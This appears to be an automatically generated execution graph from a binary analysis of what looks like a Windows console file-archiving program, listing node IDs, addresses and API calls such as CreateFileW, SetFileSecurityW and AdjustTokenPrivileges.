                                                                                                                                                                                                                                                              Total number of Limit Nodes:51
                                                                                                                                                                                                                                                              execution_graph 26468 6c1e0c 26469 6c1e30 26468->26469 26470 6c1e3f 26468->26470 26469->26470 26472 6f0a1c EnterCriticalSection 26469->26472 26473 6f0a53 26472->26473 26474 6f0a60 LeaveCriticalSection 26472->26474 26476 6fb480 26473->26476 26474->26470 26477 6fb49e GetTickCount 26476->26477 26478 6fb4a7 26476->26478 26477->26478 26479 6fb50c 26478->26479 26481 6fb7aa 26478->26481 26482 6fb4d8 strcmp 26478->26482 26479->26481 26517 6fb264 26479->26517 26481->26474 26482->26479 26484 6fb4ec 26482->26484 26484->26479 26487 6fb4f7 wcscmp 26484->26487 26485 6fb575 26523 6b2cdc 26485->26523 26487->26479 26488 6fb55e strcmp 26488->26481 26488->26485 26489 6fb714 26491 6fb72c 26489->26491 26492 6fb71c strcmp 26489->26492 26490 6fb584 26493 6fb5c8 26490->26493 26537 6b2db8 26490->26537 26528 6fb1c8 26491->26528 26492->26491 26495 6fb76a 26492->26495 26497 6fb5fd 26493->26497 26541 6b2e04 malloc _CxxThrowException memmove free _CxxThrowException 26493->26541 26501 6b2cdc 3 API calls 26495->26501 26497->26489 26542 6b3404 26497->26542 26505 6fb79a 26501->26505 26502 6fb75e 26507 6b2cdc 3 API calls 26502->26507 26503 6fb752 26553 6b22e4 fflush 26503->26553 26504 6fb646 26548 6b2438 9 API calls 26504->26548 26508 6b3404 4 API calls 26505->26508 26507->26495 26508->26481 26510 6fb6f0 26552 6b2e04 malloc _CxxThrowException memmove free _CxxThrowException 26510->26552 26512 6b3404 4 API calls 26515 6fb663 26512->26515 26515->26510 26515->26512 26549 6b38c8 memmove 26515->26549 26550 6b3a64 6 API calls 26515->26550 26551 6b2438 9 API calls 26515->26551 26518 6fb27e 26517->26518 26519 6fb2a8 strlen 26518->26519 26522 6fb2c9 26519->26522 26520 6b2db8 5 API calls 26521 6fb305 26520->26521 26521->26485 26521->26488 26522->26520 26524 6b2d11 26523->26524 26525 6b2cf0 26523->26525 26524->26490 26525->26524 26554 6b2130 malloc 26525->26554 26529 6fb238 26528->26529 26530 6fb1e2 26528->26530 26532 6fb249 fputs 26529->26532 26558 6b22e4 fflush 26529->26558 26531 6fb1f3 26530->26531 26557 6b2b04 malloc _CxxThrowException _CxxThrowException free 26530->26557 26534 6fb215 fputs 26531->26534 26535 6fb205 memset 26531->26535 26532->26502 26532->26503 26534->26529 26535->26534 26538 6b2dcd 26537->26538 26559 6b2b9c 26538->26559 26541->26497 26543 6b3418 26542->26543 26544 6b3451 26542->26544 26545 6b343c memmove 26543->26545 26546 6b2130 2 API calls 26543->26546 26544->26504 26545->26544 26547 6b342b free 26546->26547 26547->26545 26548->26515 26549->26515 26550->26515 26551->26515 26552->26489 26553->26502 26555 6b213f _CxxThrowException 26554->26555 26556 6b2155 free 26554->26556 26555->26556 26556->26524 26557->26531 26558->26532 26560 6b2bae 26559->26560 26561 6b2bc3 26559->26561 26563 6b2a9c malloc _CxxThrowException memmove free _CxxThrowException 26560->26563 26561->26493 26563->26561 26564 6fab29 26565 6fabd1 26564->26565 26568 6f0524 SetConsoleCtrlHandler 26565->26568 26569 6fe1a6 26570 6fe1bd __set_app_type 26569->26570 26571 6fe201 26570->26571 26572 6fe20a __setusermatherr 26571->26572 26573 6fe217 _initterm __getmainargs _initterm 26571->26573 26572->26573 26574 6fe291 26573->26574 26575 6fe29b _cexit 26574->26575 26576 6fe2a3 26574->26576 26575->26576 26577 6e3a42 26578 6e3c87 26577->26578 26579 6e3a4e 26577->26579 26579->26578 26615 6db2a0 VariantClear 26579->26615 26581 6e3ab7 26581->26578 26616 6db2a0 VariantClear 26581->26616 26583 6e3ad4 26583->26578 26617 6db2a0 VariantClear 26583->26617 26585 6e3af1 26585->26578 26618 6db2a0 VariantClear 26585->26618 26587 6e3b0e 26587->26578 26619 6db2a0 VariantClear 26587->26619 26589 6e3b2b 26589->26578 26620 6db2a0 VariantClear 26589->26620 26591 6e3b48 26591->26578 26621 6b450c 26591->26621 26595 6e3b6d 26596 6e3b97 26595->26596 26628 6b339c 26595->26628 26598 6e3c72 free free 26596->26598 26599 6e3bcd 26596->26599 26600 6e3c29 26596->26600 26598->26578 26602 6b3208 2 API calls 26599->26602 26634 6d9190 CharUpperW CharUpperW 26600->26634 26604 6e3bd7 26602->26604 26603 6e3c36 26635 6d005c 10 API calls 26603->26635 26606 6b3208 2 API calls 26604->26606 26608 6e3be4 26606->26608 26607 6e3c5a 26609 6b3404 4 API calls 26607->26609 26633 6d005c 10 API calls 26608->26633 26611 6e3c66 free 26609->26611 26611->26598 26612 6e3bfa 26613 6b3404 4 API calls 26612->26613 26614 6e3c06 free free free 26613->26614 26614->26598 26615->26581 26616->26583 26617->26585 26618->26587 26619->26589 26620->26591 26622 6b4529 26621->26622 26636 6b3274 26622->26636 26624 6b453c 26625 6b3208 26624->26625 26626 6b2130 2 API calls 26625->26626 26627 6b3222 26626->26627 26627->26595 26630 6b33b2 26628->26630 26629 6b33e2 memmove 26629->26596 26630->26629 26631 6b2130 2 API calls 26630->26631 26632 6b33d1 free 26631->26632 26632->26629 26633->26612 26634->26603 26635->26607 26637 6b3289 26636->26637 26640 6b2fbc 26637->26640 26641 6b2130 2 API calls 26640->26641 26642 6b2fda memmove 26641->26642 26642->26624 26643 6e42a2 26644 6e42b8 26643->26644 26733 6d40c4 26644->26733 26647 6b3404 4 API calls 26648 6e4370 26647->26648 26649 6e45d8 26648->26649 26650 6e43b1 26648->26650 26651 6b3404 4 API calls 26649->26651 26652 6e43b9 26650->26652 26653 6e46c5 free free 26650->26653 26654 6e463b 26651->26654 26736 6dc684 26652->26736 26655 6d419c 7 API calls 26653->26655 26657 6b3404 4 API calls 26654->26657 26697 6e4519 26655->26697 26659 6e464c 26657->26659 26663 6b3404 4 API calls 26659->26663 26660 6e43dd 26664 6b2130 2 API calls 26660->26664 26661 6e4728 free free 26662 6d419c 7 API calls 26661->26662 26662->26697 26665 6e465d free free 26663->26665 26666 6e43e7 26664->26666 26667 6d419c 7 API calls 26665->26667 26668 6e4401 26666->26668 26750 6dcaac malloc _CxxThrowException memmove 26666->26750 26667->26697 26740 6bb8f0 26668->26740 26675 6e4030 26676 6e4054 memmove 26675->26676 26677 6e4035 memmove 26675->26677 26678 6e4078 memmove 26676->26678 26676->26697 26677->26678 26679 6e4098 26678->26679 26706 6dc0fc 26679->26706 26682 6b3404 4 API calls 26683 6e40c2 26682->26683 26684 6b3404 4 API calls 26683->26684 26685 6e40d3 26684->26685 26721 6e3d58 26685->26721 26687 6e40ee 26688 6e447d 26687->26688 26689 6e40f8 26687->26689 26690 6e450b 26688->26690 26692 6b3404 4 API calls 26688->26692 26691 6b2130 2 API calls 26689->26691 26694 6d419c 7 API calls 26690->26694 26693 6e4102 26691->26693 26695 6e44e9 26692->26695 26696 6e411c 26693->26696 26749 6dcaac malloc _CxxThrowException memmove 26693->26749 26694->26697 26698 6b3404 4 API calls 26695->26698 26701 6bb8f0 4 API calls 26696->26701 26700 6e44fa 26698->26700 26702 6b3404 4 API calls 26700->26702 26703 6e412c 26701->26703 26702->26690 26704 6d419c 7 API calls 26703->26704 26705 6e413a 26704->26705 26707 6b3208 2 API calls 26706->26707 26708 6dc157 26707->26708 26709 6b3208 2 API calls 26708->26709 26710 6dc161 26709->26710 26711 6b3208 2 API calls 26710->26711 26712 6dc194 26711->26712 26713 6b3208 2 API calls 26712->26713 26714 6dc19e 26713->26714 26715 6b3208 2 API calls 26714->26715 26716 6dc1ab 26715->26716 26717 6b3208 2 API calls 26716->26717 26718 6dc1b8 26717->26718 26719 6b3208 2 API calls 26718->26719 26720 6dc1c5 26719->26720 26720->26682 26722 6e3d86 26721->26722 26723 6e3dc3 26721->26723 26724 6b2130 2 API calls 26722->26724 26725 6b2130 2 API calls 26723->26725 26732 6e3d8e 26723->26732 26724->26732 26726 6e3dd4 26725->26726 26727 6b3404 4 API calls 26726->26727 26728 6e3e15 26727->26728 26751 6b91dc 26728->26751 26731 6e3e2a GetLastError 26731->26732 26732->26687 26734 6b3208 2 API calls 26733->26734 26735 6d4140 memmove 26734->26735 26735->26647 26737 6dc6dd 26736->26737 26885 6bae2c 26737->26885 26741 6bb907 26740->26741 26742 6bb945 free free 26740->26742 26743 6b2130 2 API calls 26741->26743 26747 6d419c 7 API calls 26742->26747 26744 6bb91b 26743->26744 26745 6bb937 free 26744->26745 26746 6bb924 memmove 26744->26746 26745->26742 26746->26745 26748 6d4206 memmove 26747->26748 26748->26675 26749->26696 26750->26668 26754 6b9164 26751->26754 26759 6b8cdc 26754->26759 26756 6b918d 26771 6b8f18 12 API calls 26756->26771 26758 6b91a5 26758->26731 26758->26732 26772 6b89d8 26759->26772 26761 6b8d07 26762 6b8d0d 26761->26762 26763 6b8d5a 26761->26763 26764 6b8d36 CreateFileW 26761->26764 26762->26756 26763->26762 26765 6b3208 2 API calls 26763->26765 26764->26763 26766 6b8d6e 26765->26766 26775 6ba7ec 26766->26775 26769 6b8dad free 26769->26762 26770 6b8d87 CreateFileW 26770->26769 26771->26758 26773 6b89f4 26772->26773 26774 6b89e7 CloseHandle 26772->26774 26773->26761 26774->26773 26780 6ba224 26775->26780 26777 6b8d83 26777->26769 26777->26770 26779 6b339c 4 API calls 26779->26777 26781 6ba257 26780->26781 26782 6ba25e 26780->26782 26781->26777 26781->26779 26782->26781 26783 6ba363 26782->26783 26790 6ba28c 26782->26790 26784 6ba44b 26783->26784 26786 6ba37c 26783->26786 26785 6ba618 26784->26785 26787 6ba461 26784->26787 26788 6b3274 3 API calls 26785->26788 26786->26787 26794 6ba389 26786->26794 26789 6b3208 2 API calls 26787->26789 26791 6ba626 26788->26791 26792 6ba46b 26789->26792 26790->26781 26793 6b3274 3 API calls 26790->26793 26799 6b3274 3 API calls 26791->26799 26872 6b9f80 malloc _CxxThrowException free memmove GetCurrentDirectoryW 26792->26872 26796 6ba2bb 26793->26796 26797 6b3274 3 API calls 26794->26797 26804 6ba2cf free 26796->26804 26805 6ba2de 26796->26805 26800 6ba396 26797->26800 26798 6ba476 26801 6ba48b 26798->26801 26802 6ba47a free 26798->26802 26803 6ba644 26799->26803 26808 6b3274 3 API calls 26800->26808 26819 6ba4ab 26801->26819 26830 6ba4c6 26801->26830 26802->26781 26878 6b9fd8 memmove 26803->26878 26804->26781 26809 6b3274 3 API calls 26805->26809 26807 6ba64f 26810 6ba66c 26807->26810 26811 6ba653 free free 26807->26811 26812 6ba3c2 26808->26812 26813 6ba2ec 26809->26813 26879 6b3670 malloc _CxxThrowException memmove free _CxxThrowException 26810->26879 26811->26781 26870 6b9fd8 memmove 26812->26870 26866 6b9fd8 memmove 26813->26866 26817 6ba67b 26825 6b362c 6 API calls 26817->26825 26818 6ba3cd 26823 6ba3ed 26818->26823 26824 6ba3d1 free free 26818->26824 26827 6ba4cf 26819->26827 26828 6ba4b7 free 26819->26828 26820 6ba2f7 26821 6ba2fb free free 26820->26821 26822 6ba317 26820->26822 26821->26781 26867 6b362c 26822->26867 26871 6b3670 malloc _CxxThrowException memmove free _CxxThrowException 26823->26871 26824->26781 26831 6ba69d 26825->26831 26835 6b3208 2 API calls 26827->26835 26828->26781 26830->26827 26838 6ba609 free 26830->26838 26839 6ba502 26830->26839 26834 6b362c 6 API calls 26831->26834 26832 6ba3fc 26841 6b362c 6 API calls 26832->26841 26833 6ba339 26837 6b362c 6 API calls 26833->26837 26840 6ba6aa free free 26834->26840 26836 6ba538 26835->26836 26842 6ba56b 26836->26842 26845 6ba545 26836->26845 26843 6ba346 free free 26837->26843 26838->26781 26839->26827 26850 6ba518 free 26839->26850 26840->26781 26844 6ba421 26841->26844 26846 6b339c 4 API calls 26842->26846 26843->26781 26847 6b362c 6 API calls 26844->26847 26873 6b35d8 6 API calls 26845->26873 26849 6ba569 26846->26849 26851 6ba42e free free 26847->26851 26875 6b9fd8 memmove 26849->26875 26850->26781 26851->26781 26852 6ba55c 26874 6b35d8 6 API calls 26852->26874 26855 6ba583 26856 6ba5a3 26855->26856 26857 6ba587 free free 26855->26857 26858 6ba5b3 26856->26858 26876 6b3670 malloc _CxxThrowException memmove free _CxxThrowException 26856->26876 26857->26781 26877 6b9a80 malloc _CxxThrowException memmove 26858->26877 26861 6ba5c8 26862 6b362c 6 API calls 26861->26862 26863 6ba5d4 free 26862->26863 26864 6b362c 6 API calls 26863->26864 26865 6ba5ec free free 26864->26865 26865->26781 26866->26820 26880 6b3004 26867->26880 26870->26818 26871->26832 26872->26798 26873->26852 26874->26849 26875->26855 26876->26858 26877->26861 26878->26807 26879->26817 26881 6b302b memmove 26880->26881 26882 6b3016 26880->26882 26881->26833 26884 6b2ef4 malloc _CxxThrowException memmove free _CxxThrowException 26882->26884 26884->26881 26886 6bae3a 26885->26886 26887 6bae36 26885->26887 26889 6badd0 VariantClear 26886->26889 26887->26660 26887->26661 26889->26887 26890 6c251c 26891 6c2543 26890->26891 26893 6c255c 26890->26893 26898 6c23ec 26893->26898 26894 6c2691 26894->26891 26908 6dc59c 26894->26908 26896 6c25c5 26896->26891 26896->26894 26897 6c2662 SetFileSecurityW 26896->26897 26897->26894 26899 6c2408 26898->26899 26906 6c2401 26898->26906 26918 6b8bb0 SetFileTime 26899->26918 26901 6c2489 26902 6c24d2 26901->26902 26924 6b8c98 26901->26924 26919 6bcb34 26902->26919 26906->26896 26909 6dc5e9 26908->26909 26910 6dc5ef 26909->26910 26911 6dc655 26909->26911 26916 6dc5fa 26909->26916 26912 6bae2c VariantClear 26910->26912 26913 6bae2c VariantClear 26911->26913 26915 6dc61b 26912->26915 26913->26915 26914 6dc61f 26917 6bae2c VariantClear 26914->26917 26915->26891 26916->26910 26916->26914 26917->26915 26918->26901 26920 6b89d8 CloseHandle 26919->26920 26921 6bcb43 26920->26921 26922 6bcb49 GetLastError 26921->26922 26923 6bcb56 26921->26923 26922->26923 26923->26906 26930 6b8a60 26924->26930 26927 6b8cc0 26927->26902 26929 6c211c 13 API calls 26927->26929 26928 6b8cc4 SetEndOfFile 26928->26927 26929->26902 26931 6b8a83 SetFilePointer 26930->26931 26932 6b8a70 26930->26932 26933 6b8aa6 GetLastError 26931->26933 26934 6b8ab0 26931->26934 26932->26931 26933->26934 26934->26927 26934->26928 26935 6f9b5d 26936 6f9b79 26935->26936 26937 6f9b61 fputs 26935->26937 27093 6f057c 26936->27093 27092 6b2300 fputc 26937->27092 26941 6b3208 2 API calls 26942 6f9bc5 26941->26942 27097 6d38e8 26942->27097 26950 6f9c61 26952 6b2130 malloc _CxxThrowException 26950->26952 26953 6f9c7d 26952->26953 26954 6f7414 malloc _CxxThrowException 26953->26954 26956 6f9c95 26953->26956 26954->26956 26955 6b3404 malloc _CxxThrowException free memmove 26957 6f9cd5 26955->26957 26956->26955 26958 6f71ec malloc _CxxThrowException 26957->26958 26959 6f9d90 26958->26959 26960 6b3404 malloc _CxxThrowException free memmove 26959->26960 26961 6f9dee 26960->26961 26962 6bef70 8 API calls 26961->26962 26963 6f9e63 26962->26963 26964 6b3208 malloc _CxxThrowException 26963->26964 26965 6f9e70 26964->26965 26966 6d6be0 malloc _CxxThrowException 26965->26966 26967 6f9e7e 26966->26967 26968 6f9ed2 26967->26968 26969 6d6e08 84 API calls 26967->26969 26970 6d5458 417 API calls 26968->26970 26971 6f9eb1 26969->26971 26972 6f9f49 26970->26972 26971->26968 26973 6f9eb6 _CxxThrowException 26971->26973 26974 6f9f60 26972->26974 26975 6fb1c8 7 API calls 26972->26975 26973->26968 26976 6f9fb1 26974->26976 26978 6b2300 fputc 26974->26978 26975->26974 26977 6fa02c 26976->26977 26980 6b2300 fputc 26976->26980 26979 6fa063 26977->26979 26982 6fa03c fputs 26977->26982 26981 6f9f86 fputs 26978->26981 26983 6fa09e 26979->26983 26985 6fa077 fputs 26979->26985 26986 6fa114 26979->26986 26984 6f9fd4 26980->26984 26988 6b2300 fputc 26981->26988 26989 6b26a0 fputs 26982->26989 26983->26986 26992 6fa0ac fputs 26983->26992 26993 6fa0d3 26983->26993 26984->26977 26987 6f9fde fputs 26984->26987 26990 6b26a0 fputs 26985->26990 27003 6b2300 fputc 26986->27003 27015 6fa15c 26986->27015 26991 6b26a0 fputs 26987->26991 26994 6f9f9e 26988->26994 26995 6fa05b 26989->26995 26996 6fa096 26990->26996 26997 6f9ffd 26991->26997 26998 6b26a0 fputs 26992->26998 26993->26986 27006 6b2300 fputc 26993->27006 26999 6b2320 14 API calls 26994->26999 27000 6b2300 fputc 26995->27000 27001 6b2300 fputc 26996->27001 27002 6b2300 fputc 26997->27002 27004 6fa0cb 26998->27004 27005 6f9fa9 26999->27005 27000->26979 27001->26983 27008 6fa005 fputs 27002->27008 27009 6fa12c 27003->27009 27010 6b2300 fputc 27004->27010 27011 6b2300 fputc 27005->27011 27012 6fa0e4 27006->27012 27007 6fa320 free free 27013 6d6b58 free free 27007->27013 27017 6b26a0 fputs 27008->27017 27009->27015 27019 6fa135 fputs 27009->27019 27010->26993 27011->26976 27012->26986 27020 6fa0ed fputs 27012->27020 27021 6fa347 free 27013->27021 27014 6fa2e7 27018 6b2300 fputc 27014->27018 27015->27007 27015->27014 27016 6fa18f 27015->27016 27016->27007 27028 6fa1cd 27016->27028 27029 6fa1a5 fputs 27016->27029 27023 6fa024 27017->27023 27024 6fa2ef 27018->27024 27025 6b26a0 fputs 27019->27025 27026 6b26a0 fputs 27020->27026 27022 6f7968 free free free free 27021->27022 27046 6fa363 27022->27046 27030 6b2300 fputc 27023->27030 27024->27007 27031 6fa2f8 fputs 27024->27031 27032 6fa154 27025->27032 27027 6fa10c 27026->27027 27033 6b2300 fputc 27027->27033 27035 6fa1f3 fputs 27028->27035 27042 6fa275 fputs 27028->27042 27034 6b26a0 fputs 27029->27034 27030->26977 27036 6b26a0 fputs 27031->27036 27037 6b2300 fputc 27032->27037 27033->26986 27038 6fa1c5 27034->27038 27040 6b26a0 fputs 27035->27040 27039 6fa317 27036->27039 27037->27015 27041 6b2300 fputc 27038->27041 27043 6b2300 fputc 27039->27043 27044 6fa213 27040->27044 27041->27028 27047 6b26a0 fputs 27042->27047 27048 6fa2e5 27043->27048 27049 6b2300 fputc 27044->27049 27045 6fa53d free 27051 6fa58c free 27045->27051 27052 6fa55b 27045->27052 27046->27045 27054 6fa528 free free 27046->27054 27050 6fa295 27047->27050 27048->27007 27053 6fa21b 27049->27053 27055 6b2300 fputc 27050->27055 27056 6fa5ad 27051->27056 27052->27051 27061 6fa577 free free 27052->27061 27053->27042 27057 6fa225 fputs 27053->27057 27054->27046 27060 6fa2a0 fputs 27055->27060 27058 6fa5c5 27056->27058 27062 6fa5c0 27056->27062 27059 6b26a0 fputs 27057->27059 27064 6fa5ca _CxxThrowException 27058->27064 27065 6fa5e7 free 27058->27065 27063 6fa245 27059->27063 27066 6b26a0 fputs 27060->27066 27061->27052 27067 6f66a8 30 API calls 27062->27067 27068 6b2300 fputc 27063->27068 27064->27065 27069 6fa626 free 27065->27069 27070 6fa605 27065->27070 27071 6fa2c0 27066->27071 27067->27058 27072 6fa24d fputs 27068->27072 27074 6fa63c 27069->27074 27073 6fa609 free 27070->27073 27075 6b2300 fputc 27071->27075 27076 6b26a0 fputs 27072->27076 27073->27069 27073->27073 27079 6f7080 6 API calls 27074->27079 27077 6fa2c8 27075->27077 27078 6fa26d 27076->27078 27077->27007 27080 6b2300 fputc 27077->27080 27081 6b2300 fputc 27078->27081 27082 6fa64a 27079->27082 27083 6fa2d5 27080->27083 27081->27042 27084 6b182c free free free free free 27082->27084 27085 6f291c 11 API calls 27083->27085 27086 6fa658 27084->27086 27085->27048 27087 6f7f50 61 API calls 27086->27087 27088 6fa666 27087->27088 27089 6fa6a8 free 27088->27089 27091 6fa693 free free 27088->27091 27090 6fa6b8 27089->27090 27091->27088 27092->26936 27094 6f059a 27093->27094 27095 6f058a 27093->27095 27094->26941 27156 6b2c78 malloc _CxxThrowException free 27095->27156 27157 6d1700 27097->27157 27102 6d3979 27170 6d3864 13 API calls 27102->27170 27104 6d3a27 27175 6d3864 13 API calls 27104->27175 27112 6b2130 2 API calls 27120 6d3992 27112->27120 27120->27104 27120->27112 27122 6bb8f0 4 API calls 27120->27122 27171 6d09e0 6 API calls 27120->27171 27172 6b3314 27120->27172 27123 6d3a0b free 27122->27123 27123->27120 27156->27094 27176 6c1d04 GetCurrentProcess 27157->27176 27160 6d373c 27161 6d3819 27160->27161 27166 6d376d 27160->27166 27298 6d0a58 10 API calls 27161->27298 27163 6d3828 27299 6d0c24 98 API calls 27163->27299 27165 6d381b memmove 27165->27102 27165->27120 27166->27161 27167 6d1678 malloc _CxxThrowException memmove memmove free 27166->27167 27186 6d24c0 27166->27186 27167->27166 27171->27120 27173 6b2fbc 2 API calls 27172->27173 27174 6b3329 memmove 27173->27174 27174->27120 27177 6c1d3b OpenProcessToken 27176->27177 27178 6c1d25 CloseHandle 27176->27178 27179 6c1d9d 27177->27179 27180 6c1d52 LookupPrivilegeValueW 27177->27180 27178->27177 27183 6c1dad 27179->27183 27184 6c1da7 CloseHandle 27179->27184 27180->27179 27181 6c1d7f AdjustTokenPrivileges 27180->27181 27181->27179 27182 6c1db1 GetLastError 27181->27182 27182->27183 27185 6c1dc6 CloseHandle 27182->27185 27183->27160 27184->27183 27185->27183 27187 6d2508 27186->27187 27300 6d00bc 27187->27300 27189 6d3484 free 27189->27165 27189->27166 27190 6d32fd 27191 6b3208 2 API calls 27190->27191 27192 6d3316 27191->27192 27407 6b7df4 27192->27407 27193 6d30f6 27405 6b881c 14 API calls 27193->27405 27195 6d3002 27200 6d3059 free 27195->27200 27196 6d2529 27196->27189 27208 6d306a 27196->27208 27294 6d2592 27196->27294 27199 6d3327 27204 6b3208 2 API calls 27199->27204 27200->27189 27201 6b318c 4 API calls 27265 6d2bfc 27201->27265 27202 6d320f 27203 6d326b 27202->27203 27210 6d32d6 free free 27202->27210 27206 6d32ec free 27203->27206 27205 6d3343 27204->27205 27410 6b7e80 41 API calls 27205->27410 27206->27189 27207 6b3314 3 API calls 27245 6d3119 27207->27245 27208->27190 27208->27193 27210->27202 27211 6b3208 2 API calls 27211->27294 27213 6b3208 2 API calls 27213->27265 27214 6d326d free 27214->27203 27216 6d3282 27214->27216 27215 6d342c 27413 6d0084 GetLastError 27215->27413 27216->27203 27222 6d329b free free 27216->27222 27219 6d345c free 27221 6d346a free 27219->27221 27220 6d3437 27227 6d344d free 27220->27227 27228 6d343d free 27220->27228 27414 6b794c 27221->27414 27222->27216 27223 6b3404 4 API calls 27223->27294 27227->27221 27233 6d3496 free 27228->27233 27229 6d00f0 8 API calls 27229->27265 27231 6b3208 2 API calls 27231->27245 27232 6d00bc 30 API calls 27251 6d3361 27232->27251 27237 6b794c FindClose 27233->27237 27234 6b3404 4 API calls 27234->27265 27235 6d33dd free 27235->27251 27236 6d34b4 free free 27239 6b794c FindClose 27236->27239 27237->27189 27238 6b3404 4 API calls 27238->27245 27239->27189 27241 6d3488 free 27241->27233 27242 6b7ebc 90 API calls 27242->27265 27245->27202 27245->27207 27245->27214 27245->27231 27245->27238 27249 6d3214 free free 27245->27249 27250 6d31e3 free free 27245->27250 27406 6d1db4 319 API calls 27245->27406 27246 6d26dc free free 27246->27294 27247 6d2c0a free free 27247->27200 27248 6b3208 2 API calls 27248->27251 27249->27206 27253 6d323d 27249->27253 27250->27202 27250->27245 27251->27215 27251->27219 27251->27232 27251->27235 27251->27236 27251->27241 27251->27248 27411 6d1db4 319 API calls 27251->27411 27412 6b7e80 41 API calls 27251->27412 27252 6d2fa8 free 27257 6d303a free free 27252->27257 27258 6d2fba free free 27252->27258 27253->27203 27262 6d3256 free free 27253->27262 27255 6d2c28 free free 27255->27200 27256 6d2747 free free 27256->27294 27257->27200 27258->27265 27259 6d2e66 free free 27259->27265 27260 6d2f94 free free 27260->27265 27262->27253 27263 6d301f free free 27263->27200 27264 6d2efb free free 27264->27265 27265->27195 27265->27201 27265->27213 27265->27229 27265->27234 27265->27242 27265->27252 27265->27259 27265->27260 27265->27263 27265->27264 27266 6d2e9e free free 27265->27266 27267 6d3004 free free 27265->27267 27402 6b3348 malloc _CxxThrowException free 27265->27402 27403 6d0084 GetLastError 27265->27403 27404 6d1890 319 API calls 27265->27404 27266->27265 27267->27200 27269 6d2810 free free free 27269->27294 27270 6d287a free 27270->27294 27271 6d27fc free free 27271->27294 27272 6d2866 free free 27272->27294 27275 6d2c46 free free 27275->27200 27277 6d2c64 free free 27277->27200 27278 6d2a64 free free 27278->27294 27279 6d2949 free free 27279->27294 27281 6b3314 malloc _CxxThrowException memmove 27281->27294 27282 6b2130 malloc _CxxThrowException 27282->27294 27286 6bb8f0 malloc _CxxThrowException memmove free 27286->27294 27287 6d2ce2 27290 6d2d21 free free free 27287->27290 27295 6d2d0d free free 27287->27295 27288 6d2ba0 free free free 27288->27294 27289 6d2c82 27292 6d2cb8 free free free 27289->27292 27297 6d2ca4 free free 27289->27297 27290->27200 27291 6d2a4f free 27291->27294 27292->27200 27293 6d2b8c free free 27293->27294 27294->27211 27294->27223 27294->27246 27294->27247 27294->27255 27294->27256 27294->27265 27294->27269 27294->27270 27294->27271 27294->27272 27294->27275 27294->27277 27294->27278 27294->27279 27294->27281 27294->27282 27294->27286 27294->27287 27294->27288 27294->27289 27294->27291 27294->27293 27296 6d2a33 free free 27294->27296 27304 6b318c 27294->27304 27307 6d00f0 27294->27307 27313 6b7ebc 27294->27313 27392 6b3348 malloc _CxxThrowException free 27294->27392 27393 6d0084 GetLastError 27294->27393 27394 6b50bc 11 API calls 27294->27394 27395 6d03bc 14 API calls 27294->27395 27396 6d14dc 12 API calls 27294->27396 27397 6d0554 59 API calls 27294->27397 27398 6d1988 87 API calls 27294->27398 27399 6b47a8 CharUpperW CharUpperW wcscmp 27294->27399 27400 6c710c malloc _CxxThrowException memmove free 27294->27400 27401 6d1890 319 API calls 27294->27401 27295->27287 27296->27294 27297->27289 27298->27163 27299->27165 27301 6d00e4 27300->27301 27302 6d00d0 27300->27302 27301->27196 27417 6f05a0 27302->27417 27423 6b312c 27304->27423 27306 6b31b4 27306->27294 27308 6b3314 3 API calls 27307->27308 27309 6d010f 27308->27309 27310 6b362c 6 API calls 27309->27310 27311 6d011d 27310->27311 27312 6d0182 free 27311->27312 27312->27294 27314 6b7edf 27313->27314 27315 6b7ee9 27314->27315 27317 6b7fca 27314->27317 27316 6b339c 4 API calls 27315->27316 27318 6b7f14 27316->27318 27320 6b3274 3 API calls 27317->27320 27321 6b8253 27317->27321 27319 6b7f8c 27318->27319 27322 6b7f2e 27318->27322 27324 6b91dc 51 API calls 27319->27324 27323 6b7ff9 27320->27323 27328 6b8306 27321->27328 27330 6b8296 27321->27330 27440 6babb0 GetModuleHandleW GetProcAddress GetDiskFreeSpaceW 27322->27440 27326 6b3274 3 API calls 27323->27326 27327 6b7fa2 27324->27327 27337 6b8007 27326->27337 27333 6b89d8 CloseHandle 27327->27333 27332 6b8326 27328->27332 27334 6b831e 27328->27334 27351 6b8377 27328->27351 27329 6b7f75 27329->27319 27331 6b7f79 27329->27331 27445 6b7d4c 27330->27445 27336 6b7fc3 27331->27336 27347 6b82e7 27332->27347 27426 6b7978 27332->27426 27333->27336 27339 6b7d4c 39 API calls 27334->27339 27336->27294 27346 6b8051 27337->27346 27441 6b3670 malloc _CxxThrowException memmove free _CxxThrowException 27337->27441 27339->27332 27342 6b82b8 27343 6b339c 4 API calls 27342->27343 27343->27347 27344 6b794c FindClose 27344->27336 27345 6b80b1 27349 6b7ebc 72 API calls 27345->27349 27346->27345 27348 6b8075 27346->27348 27347->27344 27355 6b3404 4 API calls 27348->27355 27357 6b80af 27348->27357 27350 6b80b9 27349->27350 27353 6b823e free free 27350->27353 27350->27357 27351->27332 27352 6b3274 3 API calls 27351->27352 27361 6b83b9 27352->27361 27353->27321 27354 6b3314 3 API calls 27356 6b80e3 27354->27356 27355->27357 27358 6b3208 2 API calls 27356->27358 27357->27354 27359 6b80ee 27358->27359 27442 6b7ce0 44 API calls 27359->27442 27362 6b7978 39 API calls 27361->27362 27363 6b8435 27362->27363 27365 6b8439 wcscmp 27363->27365 27366 6b847c 27363->27366 27364 6b815a free free 27367 6b794c FindClose 27364->27367 27365->27366 27370 6b8459 27365->27370 27368 6b7d4c 39 API calls 27366->27368 27371 6b8179 free 27367->27371 27372 6b848c 27368->27372 27369 6b818a SetLastError free free 27373 6b794c FindClose 27369->27373 27375 6b339c 4 API calls 27370->27375 27376 6b822d free 27371->27376 27377 6b84b3 27372->27377 27380 6b84a7 free 27372->27380 27378 6b81b5 free 27373->27378 27379 6b846b free 27375->27379 27376->27336 27381 6b339c 4 API calls 27377->27381 27378->27376 27379->27347 27380->27332 27384 6b84e4 free 27381->27384 27382 6b812a free 27385 6b3208 2 API calls 27382->27385 27383 6b81c3 27386 6b362c 6 API calls 27383->27386 27384->27347 27387 6b8106 27385->27387 27388 6b81ee free free 27386->27388 27387->27364 27387->27369 27387->27382 27387->27383 27443 6b2748 CharUpperW CharUpperW 27387->27443 27444 6b7ce0 44 API calls 27387->27444 27390 6b794c FindClose 27388->27390 27391 6b821e free 27390->27391 27391->27376 27392->27294 27393->27294 27394->27294 27395->27294 27396->27294 27397->27294 27398->27294 27399->27294 27400->27294 27401->27294 27402->27265 27403->27265 27404->27265 27405->27245 27406->27245 27408 6b3404 4 API calls 27407->27408 27409 6b7e06 27408->27409 27409->27199 27410->27251 27411->27251 27412->27251 27413->27220 27415 6b795b FindClose 27414->27415 27416 6b7968 27414->27416 27415->27416 27416->27189 27418 6f05de 27417->27418 27419 6f05b0 27417->27419 27418->27301 27420 6b3404 4 API calls 27419->27420 27421 6f05d6 